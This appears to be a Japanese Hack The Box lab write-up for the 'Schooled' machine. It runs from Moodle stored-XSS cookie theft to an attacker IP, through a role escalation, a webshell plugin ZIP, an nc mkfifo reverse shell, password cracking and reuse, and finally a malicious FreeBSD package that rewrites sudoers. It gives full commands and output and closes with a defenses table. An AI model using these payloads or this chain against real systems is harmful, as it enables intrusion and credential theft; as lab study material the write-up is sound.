Hack The BoxのWriteup(Schooled)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Schooled — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/33060
Moodle 自己登録
pwnstudent + Mathematics コース
CVE-2020-25627
MoodleNet stored XSS
教師 Cookie 窃取
Manuel Phillips
CVE-2020-14321
roletoassign 未検証
block_rce プラグイン
defective plugin トリック
RCE (www) → user.txt ✓
devops.htb 乗っ取り
悪意 pkg リポジトリ
root.txt ✓
PHASE 1
  1. 偵察 (Reconnaissance)
    1. ポートスキャン
    2. vhost の発見 — moodle.schooled.htb
  2. アカウント自己登録 & Mathematics コースへの自己登録
    1. signup.php でアカウント作成 (要: 隠しフィールド完全一致)
    2. アカウント確認画面 (GET フォーム形式に注意)
    3. ログイン (logintoken 必須)
    4. Mathematics コースへの自己登録
  3. CVE-2020-25627: MoodleNet プロフィール欄の stored XSS で教師 Cookie を窃取
    1. 攻撃者側リスナー (Cookie 受信用 HTTP サーバー) 起動
    2. プロフィールの MoodleNet 欄に XSS ペイロードを設置
    3. 教師 (Manuel Phillips) の閲覧を待機 → Cookie 受信
    4. Cookie をセッションに注入して教師としてハイジャック
  4. CVE-2020-14321: 教師 → Manager 昇格、プラグインインストールで RCE
    1. manual enrolment instance id (enrolid) の取得
    2. 真の Manager (Lianne Carter) のユーザ ID を検索
    3. CVE-2020-14321 本体: roletoassign の未検証を突いて自分に Manager ロールを付与
    4. “Log in as” で真の Manager (Lianne) に成りすまし → sesskey を再取得
    5. (保険) Manager ロール定義を編集し moodle/site:config を許可
    6. 悪意ある block_rce プラグイン ZIP の作成
    7. プラグインインストール — filepicker ドラフトエリア経由の3段階アップロード
    8. RCE の動作確認
  5. リバースシェル → DB 資格情報 → admin ハッシュクラック → user.txt
    1. mkfifo リバースシェル (FreeBSD /bin/sh)
    2. config.php から DB 資格情報を抽出
    3. mdl_user から admin の bcrypt ハッシュを取得
    4. john + rockyou でクラック
    5. パスワード使い回し → jamie で SSH ログイン
  6. 悪意ある FreeBSD pkg リポジトリ (devops.htb 乗っ取り) → root.txt
    1. sudo 権限とパッケージリポジトリ設定の確認
    2. 悪意ある sudo_perms パッケージの作成 (+POST_INSTALL スクリプト)
    3. /etc/hosts 書き換え・sudoers 追記の両方が巻き戻る — 全工程を1コマンドに集約
  7. 攻略サマリー & 教訓
    1. 取得フラグ
    2. 使用した脆弱性
    3. 攻撃チェーン全体の流れ
    4. 学んだ教訓 & 防御策

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -sV -sC -oN nmap/initial.txt 10.129.96.53
RESULT
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 7.9 (protocol 2.0)
80/tcp    open  http          Apache httpd 2.4.46
33060/tcp open  mysqlx        MySQL X protocol listener

OS 推定: FreeBSD (Apache/OpenSSH のバナー・33060/mysqlx の組み合わせから判断)
ℹ️
33060/mysqlx が外部公開されている点から MySQL (直接ではなく X Protocol 経由) を バックエンドに使うアプリが動いていると推測できる。80番の Apache と合わせ、後の vhost 調査で Moodle だと判明する。

vhost の発見 — moodle.schooled.htb

BASH
echo "10.129.96.53 schooled.htb moodle.schooled.htb devops.htb" | sudo tee -a /etc/hosts
curl -s http://moodle.schooled.htb/ -o /dev/null -w '%{http_code}\n'
RESULT
200
Moodle 3.9 のログイン画面 (moodle.schooled.htb/moodle/login/index.php) を確認
🚨
重要: Moodle 実体は /moodle/ サブディレクトリ配下 (http://moodle.schooled.htb/moodle/)。以降の全 URL はこのプレフィックスが必須。
PHASE 2

アカウント自己登録 & Mathematics コースへの自己登録

signup.php でアカウント作成 (要: 隠しフィールド完全一致)

PYTHON
import requests, re

s = requests.Session()
base = "http://moodle.schooled.htb/moodle"
r = s.get(f"{base}/login/signup.php")

# Moodleform は sesskey / _qf__login_signup_form / mform_isexpanded_id_* が
# 揃っていないと「未送信」扱いになりバリデーションすら実行されない。
# フォームを丸ごとスクレイピングしてから必要な値だけ上書きする。
fields = scrape_form_inputs(r.text)
fields.update({
    "username": "pwnstudent", "password": "Pwnstudent1#",
    "email": "pwnstudent@student.schooled.htb",
    "email2": "pwnstudent@student.schooled.htb",
    "firstname": "Pwn", "lastname": "Student", "city": "London",
    "submitbutton": "Create my new account",
})
fields.pop("cancel", None)   # "cancel" フィールドが存在するだけで送信が握り潰される
r2 = s.post(f"{base}/login/signup.php", data=fields)
⚠️
ハマりどころ①: logintoken だけを個別に拾って他のフィールドを 欠落させると、Moodle はフォームを「未送信」として扱い、エラーも出さず同じ空フォームを 再表示するだけになる。フォーム全体をスクレイピングしてから必要な値を上書きするのが安全。
ハマりどころ②: POST データに cancel という名前のフィールドが 値の中身に関わらず存在するだけ$mform->is_cancelled() が真になり、 入力内容が一切保存されず元のフォームへ差し戻される(プロフィール編集など他の箇所でも起こる)。

アカウント確認画面 (GET フォーム形式に注意)

PYTHON
# 確認画面は <a href="login/confirm.php?..."> ではなく
# GETメソッドの隠しフィールド付きフォームで提供される:
#   <form method="get" action=".../login/confirm.php">
#     <input type="hidden" name="data" value="...">
cm = re.search(
    r'action="(http://[^"]*?/login/confirm\.php)"\s*>\s*'
    r'<input type="hidden" name="data" value="([^"]+)"',
    r2.text,
)
confirm_url, data_val = cm.group(1), cm.group(2)
s.get(confirm_url, params={"data": data_val})
⚠️
単純な <a href> リンクを期待する正規表現ではこの確認フォームに 一切マッチせず、「メール確認が必須」と誤診しやすい失敗モード。実際にはメール確認は不要で、 この GET フォームを踏むだけでアカウントが有効化される。

ログイン (logintoken 必須)

PYTHON
r0 = s.get(f"{base}/login/index.php")
logintoken = re.search(r'name="logintoken" value="([^"]+)"', r0.text).group(1)
r = s.post(f"{base}/login/index.php", data={
    "anchor": "", "username": "pwnstudent", "password": "Pwnstudent1#",
    "logintoken": logintoken,
})
assert "logout.php" in r.text   # ← これが唯一信頼できる成功判定
🚨
ハマりどころ③: logintoken を送らないとログイン処理自体が 実行されず常にログインフォームへ差し戻されるが、レスポンス中には (未ログイン状態の) ログインページ自身が持つ sesskey がたまたま含まれているため、 "sesskey" in r.text のような判定は常に真になり誤検知する"logout.php" in r.text のようにログイン後にしか出ない文字列で判定すること。

Mathematics コースへの自己登録

BASH
# コース一覧から Mathematics の course id を取得し、
# enrol/index.php で self enrolment (enrolment key 不要)
GET  {base}/course/index.php
POST {base}/enrol/index.php?id=<course_id>   (submit=1)
RESULT
Mathematics コースへの自己登録 成功 (enrolment key 不要)
PHASE 3

CVE-2020-25627: MoodleNet プロフィール欄の stored XSS で教師 Cookie を窃取

攻撃者側リスナー (Cookie 受信用 HTTP サーバー) 起動

BASH
# ポート80で900秒間 Cookie 窃取用リスナーを待機
python3 listen_only.py

プロフィールの MoodleNet 欄に XSS ペイロードを設置

PYTHON
# user/editadvanced.php (または user/edit.php) の "MoodleNet プロフィール" 欄へ
# <script> を送り込む。ここも "cancel" フィールド混入バグに要注意。
payload = '<script>document.location="http://10.10.15.201/?"+document.cookie</script>'
fields = scrape_form_inputs(edit_page_html)
fields["moodlenetprofile"] = payload
fields.pop("cancel", None)
s.post(f"{base}/user/editadvanced.php?id={my_userid}&course=1", data=fields)

教師 (Manuel Phillips) の閲覧を待機 → Cookie 受信

RESULT (listen_only.py 出力)
[*] Listening on port 80, waiting up to 900s...
[+] GOT COOKIE DATA: MoodleSession=fgqnkk0hptjqooacshdmjas7eq
[HTTP] 10.129.96.53 /?MoodleSession=fgqnkk0hptjqooacshdmjas7eq
[+] GOT COOKIE DATA: favicon.ico
[HTTP] 10.129.96.53 /favicon.ico
[SUCCESS]
教師の MoodleSession Cookie 窃取成功。 Moodle は教師が生徒プロフィールを 定期的に閲覧する運用のため、XSS 設置から実際に Cookie が届くまで数分〜十数分待つ必要がある 場合がある(本検証では 900 秒のタイムアウト内で受信)。

Cookie をセッションに注入して教師としてハイジャック

PYTHON
teacher_session = requests.Session()
teacher_session.cookies.set("MoodleSession", "fgqnkk0hptjqooacshdmjas7eq", domain="moodle.schooled.htb")
r = teacher_session.get(f"{base}/my/")
teacher_sesskey = re.search(r'"sesskey":"([^"]+)"', r.text).group(1)
RESULT
teacher_session が Manuel Phillips (教師) としてログイン済み状態を確認
PHASE 4

CVE-2020-14321: 教師 → Manager 昇格、プラグインインストールで RCE

manual enrolment instance id (enrolid) の取得

BASH
GET {base}/user/index.php?id=<course_id>
# "Enrol users" ボタンのフォーム内に enrolid がそのまま埋め込まれている:
#   <input type="hidden" name="enrolid" value="10" />
RESULT
enrolid = 10 (このインスタンスでの実測値。コース構成により変わりうる)

真の Manager (Lianne Carter) のユーザ ID を検索

PYTHON
# enrol/ajax.php?action=search は "Unknown action requested" を返すだけで存在しない。
# 実際の検索は enrol_manual/quickenrolment AMD モジュールが呼ぶ
# core_enrol_get_potential_users webservice (lib/ajax/service.php への JSON-RPC POST)。
payload = [{
    "index": 0, "methodname": "core_enrol_get_potential_users",
    "args": {"courseid": course_id, "enrolid": 10, "search": "Lianne Carter",
             "searchanywhere": True, "page": 0, "perpage": 30},
}]
r = teacher_session.post(
    f"{base}/lib/ajax/service.php",
    params={"sesskey": teacher_sesskey, "info": "core_enrol_get_potential_users"},
    json=payload,
)
manager_id = r.json()[0]["data"]["list"][0]["id"]
⚠️
AMD (JS) モジュールのソース (enrol_manual/quickenrolment) を直接読んで webservice 名を特定した。REST 風の action=search パラメータは Moodle の 別サブシステム (旧式 enrol UI) 用で、このユーザ検索フローには使われていない。

CVE-2020-14321 本体: roletoassign の未検証を突いて自分に Manager ロールを付与

PYTHON
# enrol/manual/ajax.php は roletoassign を UI 上のロール選択肢と突き合わせずに
# そのまま DB へ書き込む。まず真の Manager (Lianne) を自分のコースへ Student として
# enrol し (Log in as の前提を作るため)、続けて自分自身に Manager (roleid=1) を付与する。
common = {"id": course_id, "action": "enrol", "enrolid": "10",
          "sesskey": teacher_sesskey,
          "_qf__enrol_manual_enrol_users_form": 1, "mform_showmore_id_main": 0,
          "startdate": 4, "duration": ""}

s.get(f"{base}/enrol/manual/ajax.php", params={**common, "userlist[]": manager_id, "roletoassign": 5})   # Lianne を Student として enrol
r = s.get(f"{base}/enrol/manual/ajax.php", params={**common, "userlist[]": my_id, "roletoassign": 1})    # 自分に Manager (roleid=1)
assert '"success":true' in r.text
🚨
ハマりどころ: timeend[enabled]=1 を安易に付けると “Invalid enrolment duration” エラーになる。日付サブフィールドまで揃えるのが煩雑なため、 duration="" (Unlimited) + startdate=4 (Now) にして timeend[enabled] 自体を送らないのが最も簡単に通る組み合わせ。

“Log in as” で真の Manager (Lianne) に成りすまし → sesskey を再取得

BASH
GET {base}/course/loginas.php?id=<course_id>&user=<lianne_id>&sesskey=<teacher_sesskey>
PYTHON (sesskey 再取得— 必須)
# "Log in as" は Moodle 内部で完全に別ユーザーのセッションへ切り替わるため、
# sesskey も切り替わる (実機で確認: 切替前 "Xt9gs2B2wq" → 切替後 "4BP4PHZVCl")。
# 切替前の sesskey を使い続けると、以降の POST (次段の site:config 付与や
# プラグインインストール) は一見200を返すのに実際には処理されず、defective
# plugin の確認画面すら出ないという診断しづらい失敗を起こす。
r_my = manager_session.get(f"{base}/my/")
manager_sesskey = re.search(r'"sesskey":"([^"]+)"', r_my.text).group(1)
🚨
最大のハマりどころ: login/loginas.php は存在しない (404) — 正しいパスは course/loginas.php。さらにここで sesskey を再取得せず 古い teacher_sesskey を使い回すと、この後の site:config 付与・プラグインインストールの 両方が silent に失敗する(HTTP 200 は返るが実際の処理は行われない)。 ブラウザで操作する場合はページ遷移のたびに sesskey が自動更新されるため気づきにくいが、 スクリプトで再現する際は必ずこの再取得ステップを踏むこと。コース内で自分に Manager ロールを付与しただけではコース単位の権限に留まり、Site administration (システムレベル) には届かない。実在の Manager である Lianne へ成りすますことで初めて真のシステムレベル Manager 権限を得られる (Lianne は box 設計上もともと Manager のため、次の site:config 付与ステップは事実上不要な保険だが、念のため実施しておく)。

(保険) Manager ロール定義を編集し moodle/site:config を許可

PYTHON
r = manager_session.get(f"{base}/admin/roles/define.php?action=edit&roleid=1")
fields = scrape_form_inputs(r.text)     # 数百項目の capability を丸ごと保持
fields["sesskey"] = manager_sesskey     # ← 4-4 で再取得した新しい sesskey を使う
fields["moodle/site:config"] = "1"       # Allow
fields["moodle/site:configview"] = "1"
manager_session.post(f"{base}/admin/roles/define.php?action=edit&roleid=1", data=fields)
RESULT
Site administration > Plugins > Install plugins が Manager ロールに解放される
(Lianne は元々 Manager のため実際には既に解放済みのことが多い)

悪意ある block_rce プラグイン ZIP の作成

PYTHON
# rce/version.php (妥当) + rce/lang/en/block_rce.php (webshell) のみを含む ZIP。
# メインクラスファイル rce/block_rce.php を意図的に欠落させることで、
# DB 登録は "defective plugin" エラーになるが、その時点で既に ZIP 展開自体は完了しており
# lang/en/block_rce.php はディスク上に残り Web からアクセス可能になる。
version_php  = "<?php\ndefined('MOODLE_INTERNAL') || die();\n" \
               "$plugin->version = 2020061700;\n$plugin->requires = 2020060900;\n" \
               "$plugin->component = 'block_rce';\n"
webshell_php = "<?php if(isset($_REQUEST['cmd'])){echo '<pre>';system($_REQUEST['cmd']);echo '</pre>';} ?>\n"

with zipfile.ZipFile("block_rce.zip", "w") as zf:
    zf.writestr("rce/version.php", version_php)
    zf.writestr("rce/lang/en/block_rce.php", webshell_php)

プラグインインストール — filepicker ドラフトエリア経由の3段階アップロード

PYTHON
# 単純に admin/tool/installaddon/index.php へ multipart で ZIP を直接 POST すると
# "You must supply a value here." で失敗する。Moodle のファイルアップロードは
# filepicker のドラフトエリア経由が必須で、以下の4段階が必要
# (ここでも sesskey は 4-4 で再取得した manager_sesskey を使うこと):

# ① installaddon フォームから zipfile フィールドの現在の itemid を取得
r0 = manager_session.get(f"{base}/admin/tool/installaddon/index.php")
itemid = re.search(r'name="zipfile"[^>]*value="(\d+)"', r0.text).group(1)

# ② repository/repository_ajax.php?action=upload へ同じ itemid で実ファイルを multipart 送信
manager_session.post(f"{base}/repository/repository_ajax.php", params={"action": "upload"}, data={
    "itemid": itemid, "repo_id": "5", "p": "/", "sesskey": manager_sesskey,
    "env": "filepicker", "client_id": "abc123", "maxbytes": "0",
    "areamaxbytes": "-1", "ctx_id": "1", "course": "1", "action": "upload",
    "accepted_types[]": "*",
}, files={"repo_upload_file": ("block_rce.zip", open("block_rce.zip","rb").read(), "application/zip")})

# ③ メインフォームを送信 (plugintype=block, zipfile=<itemid>) → 検証確認画面が返る
r2 = manager_session.post(f"{base}/admin/tool/installaddon/index.php", data={
    "sesskey": manager_sesskey, "_qf__tool_installaddon_installfromzip_form": "1",
    "mform_isexpanded_id_general": "1", "plugintype": "block",
    "zipfile": itemid, "submitbutton": "Install plugin from the ZIP file",
})

# ④ 確認画面の installzipcomponent/installzipstorage を付けて再送信 → 実際の展開が走る
# (この④を省略すると ZIP は draft area に留まったままで blocks/ への実展開が起こらない)
comp    = re.search(r'name="installzipcomponent"[^>]*value="([^"]+)"', r2.text).group(1)
storage = re.search(r'name="installzipstorage"[^>]*value="([^"]+)"', r2.text).group(1)
manager_session.post(f"{base}/admin/tool/installaddon/index.php", data={
    "sesskey": manager_sesskey, "installzipcomponent": comp,
    "installzipstorage": storage, "installzipconfirm": "1",
})
DB 登録は “defective plugin” エラーで失敗するが、その時点で blocks/rce/lang/en/block_rce.php は既にディスクへ展開済みで Web からアクセス可能。
ℹ️
同じターゲットに対して rce という component 名で何度も試行し直す場合、 前回の残留登録状態と衝突して③の確認画面が正しく出ないことがある。再試行する際は block_rce2 のように component 名を毎回変えるとよい。

RCE の動作確認

BASH
curl -s "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id"
RESULT
uid=80(www) gid=80(www) groups=80(www)
PHASE 5

リバースシェル → DB 資格情報 → admin ハッシュクラック → user.txt

mkfifo リバースシェル (FreeBSD /bin/sh)

BASH
# リスナー
nc -lnvp 4444

# トリガー (URL エンコードして cmd= パラメータへ)
curl -s "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%2010.10.15.201%204444%20>/tmp/f"
RESULT
connect to [10.10.15.201] from (UNKNOWN) [10.129.96.53]
$ id
uid=80(www) gid=80(www) groups=80(www)

config.php から DB 資格情報を抽出

BASH
$ cat /usr/local/www/apache24/data/moodle/config.php
RESULT
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->dbname    = 'moodle';

mdl_user から admin の bcrypt ハッシュを取得

BASH
$ /usr/local/bin/mysql -u moodle -pPlaybookMaster2020 moodle -N -B \
    -e "select username,password from mdl_user where username='admin'"
RESULT
admin	$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW

john + rockyou でクラック

BASH
echo 'admin:$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW' > admin_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt admin_hash.txt
john --show admin_hash.txt
RESULT
admin:!QAZ2wsx

1 password hash cracked, 0 left

パスワード使い回し → jamie で SSH ログイン

NOTE
admin アカウントのメールアドレスは jamie@staff.schooled.htb。
これはローカルユーザ jamie と一致しており、同じパスワードが使い回されている。
BASH
sshpass -p '!QAZ2wsx' ssh jamie@10.129.96.53 'cat /home/jamie/user.txt'
RESULT
2e64f29c411cc95d45818ec86aa12670
user.txt — jamie
2e64f29c411cc95d45818ec86aa12670
PHASE 6

悪意ある FreeBSD pkg リポジトリ (devops.htb 乗っ取り) → root.txt

sudo 権限とパッケージリポジトリ設定の確認

BASH
$ sudo -n -l
$ cat /usr/local/etc/pkg/repos/FreeBSD.conf
RESULT
User jamie may run the following commands on schooled:
    (root) NOPASSWD: /usr/sbin/pkg update, /usr/sbin/pkg install *

FreeBSD: {
  url: "pkg+http://devops.htb:80/packages",
  ...
}
🚨
重大発見: jamie は pkg update / pkg install を root として NOPASSWD で実行可能。しかもリポジトリ URL はホスト名 devops.htb であり、 名前解決を乗っ取れれば任意のパッケージをインストールさせられる。jamie は wheel グループに属し /etc/hosts が group 書込可能。

悪意ある sudo_perms パッケージの作成 (+POST_INSTALL スクリプト)

BASH
#!/bin/sh
STAGEDIR=/tmp/stage
rm -rf ${STAGEDIR}; mkdir -p ${STAGEDIR}

cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
echo "Adding sudo entry..."
echo "jamie ALL=(ALL) NOPASSWD: /bin/csh" >> /usr/local/etc/sudoers
EOF

cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: sudo_perms
version: "1.0"
origin: sysutils/sudo_perms
comment: "Add sudo entry"
desc: "Add sudo entry"
maintainer: maintainer@freebsd.htb
www: https://freebsd.htb
prefix: /
EOF
echo "deps: {" >> ${STAGEDIR}/+MANIFEST
echo "}" >> ${STAGEDIR}/+MANIFEST
touch ${STAGEDIR}/plist
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .
pkg repo .
BASH (実行 & 回収)
scp pkg.sh jamie@10.129.96.53:/tmp/pkg/
ssh jamie@10.129.96.53 'chmod +x /tmp/pkg/pkg.sh && cd /tmp/pkg && ./pkg.sh'
scp jamie@10.129.96.53:/tmp/pkg/* ./webroot/packages/
python3 -m http.server 80 --directory ./webroot
⚠️
ハマりどころ: リポジトリ設定の URL は pkg+http://devops.htb:80/packages — Web サーバの ドキュメントルート直下に生成ファイルを置くと 404 になる。 packages/ サブディレクトリを作りその中に置く必要がある。

/etc/hosts 書き換え・sudoers 追記の両方が巻き戻る — 全工程を1コマンドに集約

NOTE
① FreeBSD の sed -i '' はリネームベースの in-place 編集のため /etc ディレクトリ自体への
   書き込み権限が必要 (jamie は /etc/hosts ファイル自体は group-writable だが /etc/ 自体には
   書けない) → "Permission denied" になる。
   対策: awk で生成した内容を直接リダイレクトで上書きする(リネームを伴わない)。

② /etc/hosts の書き換えは一定時間後に自動的に元の内容へ巻き戻る現象を確認した
   (原因となる periodic ジョブ等は未特定)。書き換え直後に grep で確認できても、
   数十秒後には mtime ごと元に戻っている。

③ 同じターゲットに何度も pkg install を試すと、pkg のローカル DB は既に
   "sudo_perms インストール済み" と記録しているため、素の pkg install は
   "already installed" として +POST_INSTALL を再実行せず何もしない。
   対策: pkg install に -f (force) を付けて強制的に再インストールさせ、
   +POST_INSTALL を確実に再実行させる。

④ 最大の罠: sudoers への /bin/csh NOPASSWD 追記も、/etc/hosts と同様に
   短時間で巻き戻ることを確認した。しかも巻き戻りは /etc/hosts よりさらに速く、
   pkg install 完了の直後であっても「別の新規 SSH 接続」を張ってから
   sudo /bin/csh を実行しようとすると、その SSH ハンドシェイクだけの
   わずかな時間差で巻き戻りに間に合ってしまい "a password is required" で
   失敗する。
   対策: /etc/hosts 書き換え → pkg update → pkg install -f → root.txt の
   cat までの全工程を1つの SSH コマンド (&& チェーン) に
   まとめ、新しい SSH 接続を一切挟まずに完結させる
BASH (最終的に機能した、全工程を1コマンドに集約したもの)
ssh jamie@10.129.96.53 "
awk '{gsub(/192.168.1.14\t\tdevops.htb/, \"10.10.15.201\t\tdevops.htb\"); print}' /etc/hosts > /tmp/newhosts &&
cat /tmp/newhosts > /etc/hosts &&
grep devops.htb /etc/hosts &&
sudo pkg update &&
sudo pkg install -f -y sudo_perms &&
sudo /bin/csh -c 'cat /root/root.txt'
"
RESULT
10.10.15.201		devops.htb
Updating FreeBSD repository catalogue...
FreeBSD repository is up to date.
Checking integrity... done (0 conflicting)
Installed packages to be REINSTALLED:
	sudo_perms-1.0
[1/1] Reinstalling sudo_perms-1.0...
Adding sudo entry...
87083ad781ae77accac583e18f976ba0
⚠️
sudoers エントリは /bin/csh のフルパス限定。sudo csh (パス省略形) はパスワード要求で失敗するため、必ずフルパスで呼び出すこと。
root.txt — root
87083ad781ae77accac583e18f976ba0
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jamie
2e64f29c411cc95d45818ec86aa12670
root.txt — root
87083ad781ae77accac583e18f976ba0

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2020-25627 Moodle 3.9 (MoodleNet プロフィール欄) Stored XSS → セッションハイジャック High プロフィール欄に <script> を仕込み、教師が閲覧した際に MoodleSession Cookie を窃取
CVE-2020-14321 Moodle 3.9 (enrol/manual/ajax.php) 権限昇格 (Teacher → Manager) Critical roletoassign パラメータが UI 上の選択肢と照合されず任意ロールを付与できる
悪意プラグイン ZIP admin/tool/installaddon (Manager 権限) RCE (www 権限) Critical メインクラスファイル欠落で “defective plugin” エラーにしつつ、展開済み webshell を利用
パスワード使い回し admin (Moodle) / jamie (OS) 初期侵入 → user.txt Medium bcrypt ハッシュを john+rockyou でクラックし、同一パスワードで SSH ログイン
pkg リポジトリのなりすまし devops.htb (名前解決) + NOPASSWD sudo pkg 権限昇格 (jamie → root) Critical /etc/hosts を書き換えて devops.htb を乗っ取り、悪意パッケージの +POST_INSTALL で sudoers を改ざん

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhost 発見22/80/33060、moodle.schooled.htb (Moodle 3.9)
2自己登録signup.php フォームスクレイピングpwnstudent アカウント + Mathematics コース参加
3XSSCVE-2020-25627 (MoodleNet プロフィール)教師 (Manuel Phillips) の MoodleSession Cookie
4権限昇格 + RCECVE-2020-14321 + Log in as + 悪意プラグインManager 権限 → block_rce webshell (www)
5初期侵入DB資格情報抽出 + bcrypt クラックuser.txt (jamie)
6権限昇格devops.htb 乗っ取り + 悪意 pkgroot.txt

学んだ教訓 & 防御策

問題点防御策
MoodleNet プロフィール欄が XSS フィルタを回避できる (CVE-2020-25627) Moodle 3.9.2 以降へアップデート。ユーザ入力を表示する箇所は必ず出力エスケープを行う。
enrol/manual/ajax.php の roletoassign が検証されない (CVE-2020-14321) Moodle 3.9.2 以降へアップデート。サーバサイドで常にロール変更権限をコンテキストごとに再検証する。
プラグイン ZIP の展開が DB 登録失敗より先行して行われる設計 ZIP 展開とプラグイン登録をアトミックにする、または展開先を検証完了までアクセス不能な一時領域に置く。
admin と OS ユーザ jamie でパスワードを使い回している アプリケーションアカウントと OS アカウントでパスワードを分離する。bcrypt でも辞書に弱いパスワードは危険。
jamie が NOPASSWD で sudo pkg update/install を実行でき、リポジトリ URL がホスト名依存 パッケージリポジトリは IP 固定または DNSSEC / TLS 証明書検証を強制する。sudo の対象コマンドを最小限にする。
jamie が wheel グループに属し /etc/hosts が group 書込可能 /etc/hosts のような名前解決に関わるファイルを一般ユーザ・非rootグループから書き込み不可にする。
HackTheBox: Schooled | 完全攻略レポート